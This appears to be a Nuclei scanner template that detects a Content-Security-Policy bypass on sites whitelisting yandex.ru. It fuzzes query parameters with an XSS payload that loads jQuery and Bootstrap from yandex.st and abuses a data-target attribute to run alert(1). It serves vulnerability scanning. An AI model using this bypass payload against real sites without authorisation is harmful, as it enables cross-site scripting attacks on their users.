yandex-st-csp-bypass: Content-Security-Policy Bypass - Yandex ST

id: yandex-st-csp-bypass

info:
  name: Content-Security-Policy Bypass - Yandex ST
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,yandex-st,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "yandex.ru"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: yandex_st_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - <script src="https://yandex.st/jquery/1.8.2/jquery.min.js"></script><script src="https://yandex.st/bootstrap/3.0.3/js/bootstrap.min.js"></script><button data-toggle="modal" data-target="$('head').html('<script>alert(1)</script>')">Test XSS</button>

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "yandex_st_csp_xss == true"
# digest: 4a0a00473045022048181c8e7c694b7580d33f5aceacb9137ac9a64e6f24ad5d03ca24841b2a60fa022100c7fbd9a3924d666569eda4a5424efdc64d4ed32c82b7e4dd049f35d1fe3d401b:922c64590222798bb761d5b6d8e72950